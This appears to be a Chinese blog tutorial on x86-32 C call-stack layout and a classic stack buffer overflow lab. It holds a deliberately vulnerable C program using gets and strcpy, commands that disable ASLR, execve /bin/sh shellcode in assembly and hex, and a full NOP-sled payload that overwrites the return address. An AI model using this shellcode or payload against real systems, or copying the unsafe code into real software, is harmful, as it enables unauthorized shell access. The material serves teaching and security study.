C调用栈布局剖析及缓冲区溢出攻击实验

基本概念

栈帧(stack frame):存放函数运行期的数据,例如入参、局部变量及函数调用的联系单元(返回地址、上一个栈帧的基址等)。
多个栈帧构成函数调用链,链的下一个栈帧通过EBP(32位机器上)指向上一个栈帧。
栈帧代表了函数的“数据”部分,一般在数据段上,是动态的。函数指令则代表函数的“代码”部分,一般在代码段上,是静态的。函数的运行是“数据”+“代码”部分协作的结果。

C调用规范

参数从右往左入栈,主调函数负责栈上入参的清理。主调与被调只要有一个是C函数,就会使用C调用规范。

汇编里调C函数的例子:

; showInt(int val, int width)
push width ;参数从右往左入栈
push val
call showInt
add esp, 8 ;主调负责清理2int型的入参

call指令会将代码段上紧随call的下一条指令(这里是add esp, 8)的地址入栈(push ReturnAddr),同时加载showInt函数的地址到EIP。call调用结束会通过RET指令将返回地址赋给EIP(pop EIP)。所以上述例子如果只观察栈帧的变化,会是这个样子:

push width 
push val
push ReturnAddr
...... ; run showInt
pop EIP
add esp,8

call、ret既然只负责返回地址的入栈和出栈,那么参数的入栈和出栈就得由主调函数自己处理了。

C调用汇编函数也使用同样的规范,只不过C编译器会自动为我们生成参数入栈和出栈的汇编码。

call进入C函数后,C编译器会为我们生成固定动作:

push ebp ;将主调函数的栈帧保存起来
mov ebp,esp ; 主调函数的栈顶作为当前函数(被调函数)的栈基址,从而开启新的栈帧

退出函数时,也有固定动作:

pop ebp ;恢复ebp为主调函数的栈基址,从而恢复主调函数的栈帧

则被调函数开始执行时的栈顶布局为(假设用到了局部变量):
入参N

入参2
入参1
ReturnAddr
主调函数的栈基址 <– EBP
局部变量1
局部变量2

局部变量N <– ESP

由上图可知,在x86-32位架构下,C栈满足:
SS:[EBP+8] —- 第一个入参的值
SS:[EBP+4] —- 返回地址
SS:[EBP] —- 上一个栈帧的基址
SS:[EBP-4] —- 第一个局部变量的值(假设为int型)

如果被调函数是手写的汇编代码,则不一定满足上述的栈顶布局。特别的,如果被调函数没有局部变量,也未处理EBP,则栈顶布局如下:
入参N

入参2
入参1
ReturnAddr <– ESP
假设所有入参为int型,则对第一个入参的访问可通过[ESP+4]、第二个入参的访问可通过[ESP+8]来做到,至于[ESP]里存放的是返回地址。下面是一个手写汇编函数的例子:

_load_gdtr:     ; void load_gdtr(int limit, int addr);
        MOV     AX,[ESP+4]      ; 访问第一个参数limit
        MOV     [ESP+6],AX
        LGDT    [ESP+6]
        RET

缓冲区溢出漏洞

原理:通过gets、sprintf、strcpy等函数输入过长的局部变量来重写ebp和返回地址,将控制权转移到入侵者希望的shellcode中去。shellcode一般是linux shell的入口,通过执行execve系统调用即可做到。

问题代码

    #include <stdio.h>
    #include <string.h>

    void hello()
    {
        printf("hello world:");
        char buf[16];
        gets(buf);
    }

    void main_i(char* argv1)
    {
        char buf[64];
        int a = 32;
        strcpy(buf, argv1);
        printf("your input is:%s\n%x", buf, (int)&buf[0]);
    }

    int main(int argc, char *argv[])
    {
        if (argc >= 2)
        {
            main_i(argv[1]);
        }
        return 0;
    }

攻击入口是main_i函数的strcpy,查看main_i反汇编(通过gdb调试或objdump命令都可),得知buf离ebp有76个字节的距离,所以要将buf和ebp都覆盖,必须要填充80个任意字符。然后,用我们期望跳转的地址覆盖ebp之后的4个字节。

跳到已有函数

先从简单情形入手,比如跳转到hello函数。
这里有个问题,我们的程序每次执行,hello的地址是变化的,因为ubuntu默认启用了随机地址加载(ASLR,Address Space Layout Randomize)
百度之,关闭ASLR的方法如下:
http://www.xuebuyuan.com/1571079.html
核心思路是要解锁root,加上两条关键的命令:
查看ASLR cat /proc/sys/kernel/randomize_va_space
关闭ASLR echo 0 > /proc/sys/kernel/randomize_va_space

关闭ASLR后,hello的地址就是固定的了,我的机器上是0x0040057d。
构造攻击:
./main `python -c “print ‘a’ * 80 + chr(0x7d) + chr(0x05) + chr(0x40) + chr(0x00)”`
前面80个’a’覆盖buf和ebp,后面的chr(0x7d) + chr(0x05) + chr(0x40) + chr(0x00)覆盖返回地址,注意x86架构是little-endian,低位在前的。
执行结果是:

your input is:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}@
40057dhello world:a
段错误

我们发现hello函数确实被执行到了,当然,最终程序还是会core掉,因为栈已经乱了。

我们重新打开ASLR:
echo 2 > /proc/sys/kernel/randomize_va_space

再次执行:
./main `python -c “print ‘a’ * 80 + chr(0x7d) + chr(0x05) + chr(0x40) + chr(0x00)”`
结果是:

your input is:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}@
段错误

就无法跳转到hello了

跳到shellcode

只跳到已有函数是干不了啥破坏的^_^,所以我们再来看复杂情况,通过溢出攻击让程序跳转到shellcode,为此,先用汇编写一段shellcode:

    ; shellcode.asm
    [BITS 32]
    NOP
    NOP
    JMP find
cont:
    POP ESI
    XOR EAX,EAX
    MOV [ESI+7], AL
    LEA EBX, [ESI]
    MOV [ESI+8], EBX
    MOV [ESI+12], EAX
    MOV AL, 0BH
    MOV EBX, ESI
    LEA ECX, [ESI+8]
    LEA EDX, [ESI+12]
    INT 80H
find:
    CALL cont
sh:
    DB "/bin/sh "
args:
    DD 0
    DD 0   

这段代码会使用11号execve系统调用来执行/bin/sh。

使用nasm将shellcode.asm转成机器码:
nasm shellcode.asm -o shellcode.bin

生成的机器码为:

9090 eb1a 5e31 c088 4607 8d1e 895e 0889
460c b00b 89f3 8d4e 088d 560c cd80 e8e1
ffff ff2f 6269 6e2f 7368 2000 0000 0000
0000 00

我们想试验上述机器码能否生效,用下面的C代码来执行之:

//run_shell.c
unsigned char shellcode[] = {
    0x90,0x90,0xeb,0x1a,0x5e,0x31,0xc0,0x88,0x46,0x07,0x8d,0x1e,0x89,0x5e,0x08,0x89,
    0x46,0x0c,0xb0,0x0b,0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c,0xcd,0x80,0xe8,0xe1,
    0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x20,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00
};

int main(int argc, char const *argv[])
{
    ((void(*)(void))&shellcode)(); 
    return 0;
}

其中,shellcode变量里存的就是nasm生成的机器码。至于机器码的执行,这篇博客给出了多种方法可供参考:
https://blog.csdn.net/mickeymouse1928/article/details/71149132

编译后执行,程序直接core掉!
是我们的shellcode写得不对?
不是的,原因是shellcode变量定义在数据段,运行期会放到栈上,gcc默认编译出的可执行程序是不让栈有可执行权限的。为克服这一阻碍,要在gcc编译时加入
-z execstack选项,即可允许栈上执行。
修改之后,我们就能成功跑出/bin/sh了:

uniquelip@uniquelip-PORTEGE-M800:~/study/cpp/StackOverflow$ ./run_shell 
$ ls
 main       'run_shell ('$'\345\244\215\344\273\266'').asm'   sample2.c
 main.asm    run_shell.asm                    shellcode.asm
 main.c      run_shell.c                      shellcode.bin
 makefile    sample2
 run_shell   sample2.asm
$ whoami

需要说明的是,我的机器是32位ubuntu,所以shellcode要用32位汇编来写,如果是64位机器,必须用64位汇编。因此,shellcode其实是操作系统强相关的。

现在我们想在溢出攻击之后跳转到写好的shellcode里,那么,该如何构造攻击数据呢?
先看看我们已确定的东西:
首先,buf和ebp的距离为76字节,正式的shellcode长度为49个字节(前面两条nop指令不算在内);
其次,我们跑一下正常的main程序,能看到buf的起始地址为0xbffff03c。这里需要注意,通过gdb调试看到的buf地址与实际运行的buf地址是有差异的,所以不能用gdb调试的buf地址来做估计。

我们在正式的shellcode前用nop指令(0x90)填充,填充31个字节,这样就有80个字节来覆盖buf和ebp了,接着估计一个0xbffff03c附近的地址0xbffff040作为跳转地址,则构造出的攻击数据为:
./main `python -c “print chr(0x90) * 31 +chr(0xeb)+chr(0x1a)+chr(0x5e)+chr(0x31)+chr(0xc0)+chr(0x88)+chr(0x46)+chr(0x07)+chr(0x8d)+chr(0x1e)+chr(0x89)+chr(0x5e)+chr(0x08)+chr(0x89)+chr(0x46)+chr(0x0c)+chr(0xb0)+chr(0x0b)+chr(0x89)+chr(0xf3)+chr(0x8d)+chr(0x4e)+chr(0x08)+chr(0x8d)+chr(0x56)+chr(0x0c)+chr(0xcd)+chr(0x80)+chr(0xe8)+chr(0xe1)+chr(0xff)+chr(0xff)+chr(0xff)+chr(0x2f)+chr(0x62)+chr(0x69)+chr(0x6e)+chr(0x2f)+chr(0x73)+chr(0x68)+chr(0x23)+chr(0x23)+chr(0x23)+chr(0x23)+chr(0x23)+chr(0x23)+chr(0x23)+chr(0x23)+chr(0x23) + chr(0x40) + chr(0xf0) + chr(0xff) + chr(0xbf)”`
最后的4字节chr(0x40) + chr(0xf0) + chr(0xff) + chr(0xbf)为覆盖后的返回地址,返回地址之前有一串0x23,但我们明明记得前面的shellcode结尾是一串0x00啊。这是因为,strcpy会把0x00作为拷贝的结束点,0x00之后的字符就不予拷贝了,所以我们的shellcode里不能出现0x00,在这里,我是用0x23来代替,反正这些字节在shellcode执行时会再被赋值,初始值几何并不重要。
还有一个问题,正式的shellcode之前为何要用nop指令填充?因为我们这次攻击的返回地址0xbffff040是估计的,并不是一个精确值,跳转后会跑到nop指令群(称之为nop sled)的中间,于是EIP会滑行一段距离到达正式的shellcode,如果不填nop,就没法起到命令滑行的效果。
执行之,奏效!

猜你喜欢

转载自blog.csdn.net/tlxamulet/article/details/79337802
今日推荐